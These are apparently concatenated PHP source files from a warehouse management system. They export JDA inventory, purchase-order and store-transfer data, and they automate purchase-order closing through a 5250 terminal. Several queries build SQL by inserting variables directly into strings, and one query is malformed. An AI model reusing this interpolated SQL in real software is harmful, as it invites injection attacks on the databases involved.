LEFT JOIN INVUPC ON INVMST.INUMBR = INVUPC.INUMBR";
//FETCH FIRST 1 ROWS ONLY";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'product_master_list';
// sku | upc | short_description | description | vendor | dept_code | sub_dept | class | subclass | set_code
$header_column = array('sku','upc', 'short_description', 'description', 'vendor', 'dept_code', 'sub_dept', 'class', 'sub_class', 'set_code');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function purchaseOrder()
{
// POMHDR.POFOB = carton
// POBON = Back order
// //POUNTS = total_qty
// POSHP1 = shipment reference no
/*$sql ="SELECT POMRCH.POMRCV, pomrch.poshpr, POMRCH.PONUMB, POMRCH.POUNTS , POMHDR.POEDAT
FROM POMRCH
LEFT JOIN POMHDR ON POMHDR.PONUMB = POMRCH.PONUMB
WHERE POMRCH.PONUMB>=10881 and POMRCH.PONUMB<=10892";*/
$sql = "SELECT POMRCH.POMRCV, pomrch.poshpr, POMRCH.PONUMB, POMRCH.POUNTS , POMHDR.POEDAT
FROM POMRCH
LEFT JOIN POMHDR ON POMHDR.PONUMB = POMRCH.PONUMB
WHERE POMRCH.POSTAT = 3";
/** $ sql = "SELECT POMRCH.POVNUM, POMRCH.POMRCV, POMRCH.PONUMB, POMRCH.POLOC, POMHDR.POFOB, POMRCH.POUNTS, POMRCH.POBON, POMHDR.POSHP1, POMRCH.POSTAT
FROM POMRCH
LEFT JOIN POMHDR ON POMHDR.PONUMB = POMRCH.
PONUMB AND POMRCH.POBON = POMHDR.POBON
WHERE POMRCH.POSTAT = 3 AND POMRCH.POLOC = 7000"; // get PO with status=3/RELEASE AND POMRCH.PONUMB IN (3815)
//FETCH FIRST 1 ROWS ONLY";**/
$query_result = $this->instance->runSQL($sql,true);
$filename = 'purchase_order_header';
// vendor_id | receiver_no | purchase_order_no | destination | po_status
$header_column = array( 'receiver_no', 'invoice_no', 'po_no', 'total_qty', 'entry_date' );
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function purchaseOrderDetails()
{
$sql = "SELECT DISTINCT POMRCD.INUMBR, INVUPC.IUPC, POMRCD.POMRCV, INVDPT.IDEPT, pomrcd.pomqty, INVDPT.DPTNAM
FROM POMRCD
LEFT JOIN INVUPC ON POMRCD.INUMBR = INVUPC.INUMBR
LEFT JOIN INVMST ON POMRCD.INUMBR = INVMST.INUMBR
LEFT JOIN INVDPT ON INVMST.IDEPT = INVDPT.IDEPT
LEFT JOIN POMRCH ON POMRCD.POMRCV = POMRCH.POMRCV
WHERE POMRCH.POSTAT = 3 AND INVDPT.ISDEPT=0 AND INVDPT.ICLAS=0 AND INVDPT.ISCLAS=0 "; // get PO with status=3/RELEASE AND POMRCH.PONUMB IN (3815)
//FETCH FIRST 1 ROWS ONLY";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'purchase_order_detail';
// vendor_id | sku | quantity_ordered | unit_cost
$header_column = array( 'sku', 'upc','receiver_no', 'dept_number', 'quantity_ordered','dept_name');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function slots()
{
$sql = "SELECT WHSLOT, whzone, strnum FROM WHSLOC";
//FETCH FIRST 1 ROWS ONLY";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'slot_master_list';
// vendor_id | sku | quantity_ordered | unit_cost
$header_column = array('slot_code', 'zone_code', 'store_code' );
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function stores()
{
$sql = "SELECT STRNUM, STRNAM, STADD1, STADD2, STADD3, STCITY FROM TBLSTR";
//FETCH FIRST 1 ROWS ONLY";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'store_master_list';
// store_no | store_name | address1 | address2 | address3 | city
$header_column = array('store_code','store_name', 'address1', 'address2', 'address3', 'city');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
//to test
public function storeOrder()
{
// Logic
// Get all so_no in the picklist of the day
// from the gathered picklist match it to the so_no in the Transaction Header/TRFHDR
$sql = "SELECT STRNUM, STRNAM, STADD1, STADD2, STADD3, STCITY FROM TBLSTR";
//FETCH FIRST 1 ROWS ONLY";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'store_master_list_test';
// store_no | store_name | address1 | address2 | address3 | city
$header_column = array('store_code','store_name', 'address1', 'address2', 'address3', 'city');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
//to test
public function storeOrderDetails()
{
//join by inumbr = inumbr
//get unique in MVD.WHSVSR // for header
$getSoNo = self::_getUniqueSO();
$ids = "'".implode("' , '", $getSoNo)."'";
$ids = preg_replace('/\s+/', '', $ids);
if(! empty($ids) )
{
$sql = "SELECT TRFDTL.TRFBCH, INVUPC.IUPC,TRFDTL.TRFREQ, TRFDTL.TRFALC
FROM TRFHDR
RIGHT JOIN TRFDTL ON TRFDTL.TRFBCH = TRFHDR.TRFBCH
INNER JOIN INVUPC ON TRFDTL.INUMBR = INVUPC.INUMBR
WHERE TRFDTL.TRFBCH IN ($ids)";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'store_order_detail';
// so_no | sku | ordered_qty | alloctated_qty | created_at
$header_column = array('so_no','sku', 'ordered_qty', 'allocated_qty');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
}
public function getShippedStoreOrder()
{
$sql = "SELECT DISTINCT TRFHDR.TRFBCH, TRFHDR.TRFTLC, TRFHDR.TRFSTS, WHSCTH.CHLOID,WHSCTH.CHCTID
FROM TRFHDR
INNER JOIN WHSMVD ON TRFHDR.TRFBCH = WHSMVD.WHMVSR
INNER JOIN WHSCTH ON WHSMVD.WVCTID = WHSCTH.CHCTID
WHERE TRFHDR.TRFSTS = 'S'";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'store_order_cloud_header';
// so_no | store_name | so_status | order_date | created_at
$header_column = array('so_no','store_code', 'so_status', 'load_code', 'box_code');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function getShippedStoreOrderDetails()
{
$sql = "SELECT TRFDTL.TRFBCH, INVUPC.IUPC,TRFDTL.TRFREQ, TRFDTL.TRFALC
FROM TRFHDR
INNER JOIN WHSMVD ON TRFHDR.TRFBCH = WHSMVD.WHMVSR
INNER JOIN WHSCTH ON WHSMVD.WVCTID = WHSCTH.CHCTID
RIGHT JOIN TRFDTL ON TRFDTL.TRFBCH = TRFHDR.TRFBCH
INNER JOIN INVUPC ON TRFDTL.INUMBR = INVUPC.INUMBR
WHERE TRFHDR.TRFSTS = 'S'";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'store_order_cloud_detail';
// so_no | sku | ordered_qty | alloctated_qty | created_at
$header_column = array('so_no','sku', 'ordered_qty', 'allocated_qty');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function _getUniqueSO()
{
$getSoNumbers = "SELECT DISTINCT WHMVSR
FROM WHSMVH
RIGHT JOIN WHSMVD ON WHSMVD.WHMOVE = WHSMVH.WHMOVE AND WVFZON = 'PZ' AND WVTZON='SZ'
WHERE WHSMVH.WHMCDT = 0 AND WHMVDT = {$this->instance->getDate()}";
$query_result = $this->instance->getUnique($getSoNumbers, "WHMVSR");
return $query_result;
}
public function vendors()
{
$sql = "SELECT ASNUM, ASNAME FROM APSUPP";
//FETCH FIRST 1 ROWS ONLY";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'vendor_master_list';
// vendor_code | vendor_name
$header_column = array('vendor_code', 'vendor_name');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function storeReturn()
{
$sql = "SELECT trfhdr.trfbch, trfhdr.trfflc, trfhdr.trftlc
FROM trfhdr
left join tblstr on tblstr.strnum = trfhdr.trftlc
WHERE trfsts = 'S' and trftlc != 8001 and trftyp = 1 and tblstr.strtyp='U'";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'store_return_header';
// so_no | store_name | so_status | order_date | created_at
$header_column = array('so_no', 'from_store_code', 'to_store_code');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
//to test
public function storeReturnDetails()
{
$sql = "SELECT trfdtl.trfbch, INVUPC.IUPC, trfdtl.trfshp
from TRFHDR
left join trfdtl on trfhdr.trfbch = trfdtl.trfbch
left JOIN INVUPC ON TRFDTL.INUMBR = INVUPC.INUMBR
left join tblstr on tblstr.strnum = trfhdr.trftlc
WHERE trfhdr.trfsts = 'S' and trfhdr.trftlc != 8001 and tblstr.strtyp='U'"; // OR and trfhdr.trftyp = 1";
/*$sql = "SELECT TRFDTL.TRFBCH, INVUPC.IUPC,TRFDTL.TRFREQ, TRFDTL.TRFALC
FROM TRFHDR
RIGHT JOIN TRFDTL ON TRFDTL.TRFBCH = TRFHDR.TRFBCH
INNER JOIN INVUPC ON TRFDTL.INUMBR = INVUPC.INUMBR
WHERE TRFDTL.TRFSTS = 'S' AND TRFDTL.TRFTLC = 7000";*/
$query_result = $this->instance->runSQL($sql,true);
$filename = 'store_return_detail';
// so_no | sku | ordered_qty | alloctated_qty | created_at
$header_column = array('so_no','sku', 'delivered_qty');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function storeReturn_pick()
{
$sql = "SELECT trfhdr.trfbch
from trfhdr
left join tblstr on tblstr.strnum = trfhdr.trfflc
where trfsts = 'W'and tblstr.strtyp = 'U'";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'store_return_pickinglist';
// so_no | store_name | so_status | order_date | created_at
$header_column = array('move_doc_number');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
//to test
public function storeReturnDetails_pick()
{
$sql = "SELECT trfhdr.trfbch, trfdtl.trftlc, INVUPC.IUPC, trfdtl.trfflc, trfdtl.trfreq
from trfhdr
left join trfdtl on trfhdr.trfbch = trfdtl.trfbch
left join tblstr on trfhdr.trfflc = tblstr.strnum
INNER JOIN INVUPC ON TRFDTL.INUMBR = INVUPC.INUMBR
where trfhdr.trfsts = 'W'and tblstr.strtyp = 'U'";
/*$sql = "SELECT TRFDTL.TRFBCH, INVUPC.IUPC,TRFDTL.TRFREQ, TRFDTL.TRFALC
FROM TRFHDR
RIGHT JOIN TRFDTL ON TRFDTL.TRFBCH = TRFHDR.TRFBCH
INNER JOIN INVUPC ON TRFDTL.INUMBR = INVUPC.INUMBR
WHERE TRFDTL.TRFSTS = 'S' AND TRFDTL.TRFTLC = 7000";*/
$query_result = $this->instance->runSQL($sql,true);
$filename = 'store_return_pick_details';
// so_no | sku | ordered_qty | alloctated_qty | created_at
$header_column = array('so_no','to_store_code', 'upc', 'from_store_code','quantity_to_pick');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function storeReturn_return()
{
$sql = "SELECT trfhdr.trfbch, trfhdr.trfflc
from trfhdr
where trfsts = 'S' and trftlc = 8001";
/* $sql = "SELECT trfhdr.trfbch
from trfhdr
left join tblstr on tblstr.strnum = trfhdr.trfflc
where trfsts = 'W'and tblstr.strtyp = 'U'";*/
$query_result = $this->instance->runSQL($sql,true);
$filename = 'reverse_logistic';
// so_no | store_name | so_status | order_date | created_at
$header_column = array('move_doc_number', 'from_store_code');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
//to test
public function storeReturnDetails_return()
{
$sql = "SELECT trfhdr.trfbch, invupc.iupc, trfdtl.TRFshp
from trfhdr
left join trfdtl on trfhdr.trfbch = trfdtl.trfbch
INNER JOIN INVUPC ON TRFDTL.INUMBR = INVUPC.INUMBR
where trfhdr.trfsts = 'S' and trfhdr.trftlc = 8001";
/*$sql = "SELECT TRFDTL.TRFBCH, INVUPC.IUPC,TRFDTL.TRFREQ, TRFDTL.TRFALC
FROM TRFHDR
RIGHT JOIN TRFDTL ON TRFDTL.TRFBCH = TRFHDR.TRFBCH
INNER JOIN INVUPC ON TRFDTL.INUMBR = INVUPC.INUMBR
WHERE TRFDTL.TRFSTS = 'S' AND TRFDTL.TRFTLC = 7000";*/
$query_result = $this->instance->runSQL($sql,true);
$filename = 'reverse_logistic_det';
// so_no | sku | ordered_qty | alloctated_qty | created_at
$header_column = array('move_doc_number','upc', 'delivered_qty');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function test()
{
$sql = "SELECT COUNT(*) AS counter
FROM WHSMVH
WHERE WHMCDT = 0 AND WHMVDT = {$this->instance->getDate()}
";
$this->instance->count($sql);
}
private function _export($query_result, $filename, $header_column, $methodName, $custom_column = NULL)
{
if(!$query_result)
{
//No Results - Your Error Code Here
echo "Error: {$methodName} / empty results. \n";
}else{
if(empty($custom_column)) $custom_column = array();
//Get the results
$key = $this->instance->tempFieldNames;
$result = $this->instance->export($query_result, $filename, $header_column, $custom_column);
// $this->instance->displayResult($query_result, $key);
return $result;
}
return false;
}
public function close()
{
$this->instance->close();
}
}<file_sep><?php
class Unlisted extends Eloquent {
protected $table = 'unlisted';
protected $fillable = array('sku', 'reference_no');
public static function createUpdate($data = array()) {
$query = Unlisted::where('sku', '=', $data['sku'])
->where('reference_no', '=', $data['po_order_no'])->first();
if(! is_null($query) ) {
$unlisted = $query->first();
$qty_received = $unlisted['quantity_received'] + $data['quantity_delivered'];
Unlisted::where('sku', '=', $data['sku'])
->where('reference_no', '=', $data['po_order_no'])
->update(array('quantity_received' => $qty_received));
} else {
$unlisted = new Unlisted;
$unlisted->sku = $data['sku'];
$unlisted->reference_no = $data['po_order_no'];
$unlisted->quantity_received = $data['quantity_delivered'];
$unlisted->save();
}
}
public static function getList($data = array(), $getCount = false)
{
/*$query = Load::select(DB::raw("wms_load.id, wms_load.load_code, wms_load.is_shipped, group_concat(wms_pallet.store_code SEPARATOR ',') stores"))
->join('load_details', 'load_details.load_code', '=', 'load.load_code')
->join('pallet', 'pallet.pallet_code', '=', 'load_details.pallet_code')
->groupBy('load.load_code');*/
$query = Unlisted::select('unlisted.*','users.firstname','users.lastname','purchase_order_lists.shipment_reference_no','purchase_order_lists.destination','purchase_order_lists.delivery_date',DB::raw('convert(wms_unlisted.sku, decimal(20,0)) as sku'))
->join('purchase_order_lists', 'unlisted.reference_no', '=', 'purchase_order_lists.purchase_order_no')
->join('users', 'unlisted.scanned_by', '=', 'users.id', 'RIGHT')
->where('unlisted.deleted_at', '=', '0000-00-00 00:00:00');
if( CommonHelper::hasValue($data['filter_reference_no']) ) $query->where('reference_no', 'LIKE', '%'. $data['filter_reference_no'] . '%');
if( CommonHelper::hasValue($data['filter_sku']) ) $query->where('sku', 'LIKE', '%'. $data['filter_sku'] . '%');
if( CommonHelper::hasValue($data['filter_shipment_reference_no']) ) $query->where('shipment_reference_no', 'LIKE', '%'. $data['filter_shipment_reference_no'] . '%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort'] == 'reference_no') $data['sort'] = 'reference_no';
if ($data['sort'] == 'sku') $data['sort'] = 'sku';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
if($getCount) {
return $result = $query->count();
}
$result['result'] = $query->get()->toArray();
$result['ship_ref_count'] = $query->groupBy('shipment_reference_no')->get()->count();
DebugHelper::log(__METHOD__, $result);
return $result;
}
public static function deleteByReference($reference_no) {
return Unlisted::where('reference_no', '=', $reference_no)->delete();
}
}<file_sep><?php
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
class poClosing extends jdaCustomClass
{
private static $formMsg = "";
public static $user = 'SYS';
public static $warehouseNo = "7000 ";
/*
08
02
02
etner receviner no: 37091
tab
ENTER
tab
incvoice numer: ADASD
TAB
TAB
Invoice amout: 12
TAB
F5
1
Enter qty rec: 12
END
TAB
F7
TAB
1
F7
ENTER
F1
F7
user: STRATPGMR pass: <PASSWORD>
*/
public function __construct() {
// parent::__construct();
self::$formMsg = __METHOD__;
parent::login(5);
}
private static function enterMerchandising()
{
#enter merchandising
parent::$jda->screenWait("Merchandise Receiving");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("08",22,44)),ENTER,true);
echo "Entered: Merchandise Receiving \n";
}
private static function enterStoreReceivingMenu()
{
parent::$jda->screenWait("Store Receiving Menu");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("02",22,44)),ENTER,true);
echo "Entered: Store Receiving Menu \n";
}
private static function enterDockReceipt()
{
parent::$jda->screenWait("Dock Receipt and Check-In");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("02",22,44)),ENTER,true);
echo "Entered: Dock Receipt and Check-In \n";
}
public function enterReceiverNumber($receiver_no, $back_order)
{
parent::$jda->screenWait("Receiver Number");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%10d", $receiver_no),8,45);
$formValues[] = array(sprintf("%2d", $back_order),14,45);
parent::$jda->write5250($formValues,ENTER,true);
return self::checkReceiverNumber($receiver_no,__METHOD__);
}
private static function checkReceiverNumber($receiver_no,$source)
{
if(parent::$jda->screenCheck('This receiver number does not exist')) {
$receiver_message='This receiver number does not exist';
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Receiver is already being received by another user.')) {
$receiver_message='Receiver is already being received by another user';
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
// self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
return false;
}
//won't happen in the live environment
if(parent::$jda->screenCheck('Receipt is already being processed through')) {
$receiver_message="Receipt is already being processed through 'RF' or 'single'.";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('You cannot receive this receiver at this time')) {
$receiver_message="You cannot receive this receiver at this time";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('This receiver has been detail received, cannot dock receive.')) {
$receiver_message="This receiver has been detail received, cannot dock receive.";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
return false;
}
echo self::$formMsg;
return true;
}
public function enterPOForm($receiver_no)
{
parent::$jda->screenWait("Date Received");
parent::display(parent::$jda->screen,132);
self::enterPoStoreReceipt($receiver_no);
}
private static function enterPoStoreReceipt($receiver_no) {
// $invoices = self::getInvoices($receiver_no);
$formValues = array();//values to enter to form
$formValues[] = array(self::$user,12,69); //enter receive by
$formValues[] = array(self::$user,17,72); //enter checked by
parent::$jda->write5250($formValues,F5,true);
echo "Entered: Purchase Order Store Receipt \n";
}
private static function checkReceiverLanding($reference) {
parent::$jda->screenWait("Receiver Number");
parent::display(parent::$jda->screen,132);
//when it lands here we can now assume that the transaction was a success
//need more test here
self::updateSyncStatus($reference);
}
private static function getInvoices($receiver_no) {
$db = new pdoConnection();
echo "\n Getting invoice number and amount from db \n";
$sql = "SELECT invoice_no, FROM wms_purchase_order_lists WHERE receiver_no = {$receiver_no}";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result['invoice_no'] = $value['invoice_no'];
}
if(!empty($result))
{
if( empty($result['invoice_no']) )
{
self::$formMsg = "Invoice no is empty.";
parent::logError(self::$formMsg, __METHOD__);
}
}
$db->close();
return $result;
}
private static function getQtyDelivered($receiver_no) {
$db = new pdoConnection();
echo "\n Getting quantity delivered from db \n";
$sql = "SELECT prod.sku, po_details.slot_code, po_details.quantity_delivered
FROM `wms_transactions_to_jda` trans
INNER JOIN wms_purchase_order_lists po_lists ON po_lists.purchase_order_no = trans.reference
INNER JOIN wms_purchase_order_details po_details ON po_lists.receiver_no = po_details.receiver_no
INNER JOIN wms_product_lists prod ON po_details.sku = prod.upc
WHERE module = 'Purchase Order' AND jda_action='Closing' AND trans.sync_status = 0 AND po_details.quantity_ordered = 0 AND po_lists.receiver_no = {$receiver_no} AND quantity_delivered <> 0
ORDER BY convert(prod.sku, decimal) ASC";
// AND po_details.quantity_ordered <> 0
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
// $result[] = $value['quantity_delivered'];
$result[] = array(
'sku' => $value['sku'],
'quantity_delivered' => $value['quantity_delivered'],
'slot_code' => $value['slot_code']
);
}
$db->close();
return $result;
}
public static function getNotInPoQtyDelivered($receiver_no) {
$db = new pdoConnection();
echo "\n Getting quantity delivered from db \n";
$sql = "SELECT prod.sku, po_lists.slot_code, po_details.quantity_delivered
FROM `wms_transactions_to_jda` trans
left JOIN wms_purchase_order_lists po_lists ON po_lists.receiver_no = trans.reference
left JOIN wms_purchase_order_details po_details ON po_lists.receiver_no = po_details.receiver_no
LEFT JOIN wms_product_lists prod ON po_details.upc = prod.upc
WHERE module = 'Purchase Order' AND jda_action='Closing' AND trans.sync_status = 0 AND po_details.quantity_ordered = 0 AND po_lists.receiver_no = {$receiver_no}
ORDER BY prod.sku ASC";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = array(
'sku' => $value['sku'],
'quantity_delivered' => $value['quantity_delivered'],
'slot_code' => $value['slot_code']
);
}
$db->close();
return $result;
}
public static function enterDataEntryMode($receiver_no)
{
$notInPo = self::getNotInPoQtyDelivered($receiver_no);
$total = count($notInPo);
$row = 44;
if ($total > 0)
{
for ($i=0; $i < $total; $i++) {
print_r($notInPo[$i]);
parent::$jda->write5250(null,F10,true);
if (parent::$jda->screenWait("Receiving Data Entry"))
{
echo "Entered: Pressed F10 Key. \n";
$formInputs = array();
$formInputs[] = array($notInPo[$i]['sku'],14,$row);
$formInputs[] = array($notInPo[$i]['quantity_delivered'],15,$row);
$formInputs[] = array($notInPo[$i]['slot_code'],16,$row);
parent::$jda->write5250($formInputs,ENTER,true);
parent::display(parent::$jda->screen,132);
echo "Entered: counter: {$i} Sleeping mode in 5 seconds \n";
// since this is a NOT IN PO, pressing F9 is required
if (parent::$jda->screenWait("Sku not on order")) {
parent::pressF9();
sleep(5);
parent::pressF1();
}
sleep(5);
}
}
echo "Entered: Data Entry Mode \n";
parent::display(parent::$jda->screen,132);
sleep(5);
}
// return true;
// self::checkResponse($receiver_no,__METHOD__);
}
/*
* Update ewms trasaction_to_jda sync_status
*/
private static function updateSyncStatus($reference,$error_message=null, $isError = FALSE) {
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Getting receiver no from db \n";
$sql = "UPDATE wms_transactions_to_jda
SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}', error_message = '{$error_message}'
WHERE sync_status = 0 AND module = 'Purchase Order' AND jda_action='Closing' AND reference = (SELECT purchase_order_no FROM wms_purchase_order_lists po WHERE po.receiver_no = {$reference})";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}
public function enterPoReceiptDetail() {
parent::$jda->screenWait("Item Entry Selection Menu");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("1",16,41)),ENTER,true);
echo "Entered: PO Receipt Detail \n";
}
public function enterPoReceiptDetailBySKU() {
parent::$jda->screenWait("Start at SKU");
parent::display(parent::$jda->screen,132);
echo "Entered: PO Receipt Detail by SKU \n";
}
public function enterQtyPerItem($receiver_no)
{
$column = 10;
$row = 100;
$quantity = self::getQtyDelivered($receiver_no);
$total = count($quantity);
$limit = 12;
$offset = 0;
$count = ceil($total / $limit);
$flag = FALSE;
print_r($quantity);
//enter in receiving data entry
parent::$jda->write5250(null,F10,true);
//retry
$tries3 = 0;
while($tries3++ < 5 && !parent::$jda->screenCheck("Receiving Data Entry")){
echo "\n Unable to find Receiving Data Entry pressed F1 & tries: {$tries3} \n";
parent::$jda->set_pos(24,81);
parent::$jda->write5250(null,F10,true);
}
// sleep(5);
if (parent::$jda->screenWait("Receiving Data Entry"))
{
foreach ($quantity as $key => $detail) {
echo "Entered: Pressed F10 Key. \n";
echo "Entered: counter: {$key} \n";
$tries4 = 0;
while($tries4++ < 5 && parent::$jda->screenWait("Sku not on order")){
echo "\n Found Sku not in order: {$tries4} \n";
parent::$jda->write5250(null,F9,true);
}
if (!parent::$jda->screenWait("Sku not on order")) {
parent::$jda->write5250(array(array($detail['sku'],14,44)),ENTER,true);//sleep(2);
parent::$jda->write5250(array(array(sprintf("%11d", $detail['quantity_delivered']),15,44)),ENTER,true);//sleep(2);
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array($detail['slot_code'],16,44)),ENTER,true);//sleep(2);
}
// action for adding items not in po
if (parent::$jda->screenWait("Sku not on order")) {
parent::display(parent::$jda->screen,132);
parent::pressF9();
// sleep(10);
}
// sleep(5);
}
}
parent::pressF1();
//close dialog box
$tries = 0;
while($tries++ < 5 && parent::$jda->screenWait("Receiving Data Entry")){
echo "\n Found Receiving Data Entry pressed F1 & tries: {$tries} \n";
parent::$jda->set_pos(18,28);
parent::$jda->write5250(null,F1,true);
}
$tries2 = 0;
while($tries2++ < 5 && parent::$jda->screenWait("You have requested to Exit")){
echo "\n Found *********** WARNING *********** pressed F12 & tries: {$tries2} \n";
parent::$jda->set_pos(17,24);
parent::$jda->write5250(null,F12,true);
}
echo "Entered: Data Entry Mode \n";
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,F7,true);
parent::display(parent::$jda->screen,132);
self::checkResponse($receiver_no, __METHOD__);
}
private static function checkResponse($receiver_no,$source)
{
# error
if(parent::$jda->screenCheck('Qty received should not be greater than the qty ordered')) {
$receiver_message="Qty received should not be greater than the qty ordered.";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
}
if(parent::$jda->screenCheck('Sku number cannot be zero.')) {
$receiver_message="Sku number cannot be zero.";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
}
if(parent::$jda->screenCheck('Invalid sku entered.')) {
$receiver_message="Invalid sku entered.";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
}
if(parent::$jda->screenCheck('Receipt quantity cannot be zero.')) {
$receiver_message="Receipt quantity cannot be zero.";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
}
if(parent::$jda->screenCheck('Warehouse slot required.')) {
$receiver_message="Warehouse slot required.";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
}
if(parent::$jda->screenCheck('Sku is not valid for the vendor.')) {
$receiver_message="Sku is not valid for the vendor.";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
}
if(parent::$jda->screenCheck('The slot selected is not a valid slot.')) {
$receiver_message="The slot selected is not a valid slot.";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
}
#end error
// echo self::$formMsg;
}
public function enterClosingPo()
{
if (parent::$jda->screenWait("Receiver Confirmation Print")) {
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(null,TAB,true);
parent::$jda->write5250(array(array("1",16,68)),F7,true);
// parent::$jda->write5250(array(array("1",14,68)),F7,true);
echo "Entered: Closing of PO \n";
}
else {
echo "Screen: Receiver Confirmation Print NOT FOUND ------------------------------- \n";
parent::display(parent::$jda->screen,132);
}
}
public function enterJobName($receiver_no)
{
if (parent::$jda->screenWait("Submitted Job Name")) {
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(null,ENTER,true);
echo "Entered: Job Name Queue. \n";
self::checkReceiverLanding($receiver_no);
}
else {
echo "Screen: Submitted Job Name NOT FOUND ------------------------------- \n";
parent::display(parent::$jda->screen,132);
}
}
/*
* On done only via android
*/
public function enterUpToDockReceipt()
{
//TODO::checkvalues
//TODO::how to know if error
try {
$title = "Closing PO \n";
echo $title ;
parent::checkRecoverJob();
parent::checkJobOnProgress();
self::enterMerchandising();
self::enterStoreReceivingMenu();
self::enterDockReceipt();
} catch (Exception $e) {
//send fail status
echo 'Error: '. $e->getMessage();
}
}
public function logout()
{
parent::logout();
echo "Entered: Done purchase order closing.... \n";
}
}
$db = new pdoConnection(); //open db connection
$execParams = array();
$execParams['poNo'] = ((isset($argv[1]))? $argv[1] : NULL);
$jdaParams = array();
$jdaParams = array('module' => 'Purchase Order', 'jda_action' => 'Receiving', 'checkSuccess' => 'true');
if(isset($argv[1])) $jdaParams['reference'] = $execParams['poNo'];
$getUnsuccessfulReceiving = $db->getJdaTransaction($jdaParams);
if(empty($getUnsuccessfulReceiving))
{
$params = array();
$params = array('module' => 'Purchase Order', 'jda_action' => 'Closing');
if($argv[1]) $params['reference'] = $execParams['poNo'];
$poNos = $db->getJdaTransaction($params);
if(! empty($poNos) )
{
$receiver_nos = $db->getReceiverNo($poNos);
print_r($receiver_nos);
if(! empty($receiver_nos) )
{
$closePO = new poClosing();
$closePO->enterUpToDockReceipt();
foreach($receiver_nos as $receiver_no)
{
$receiver = $receiver_no['receiver_no'];
$back_order = $receiver_no['back_order'];
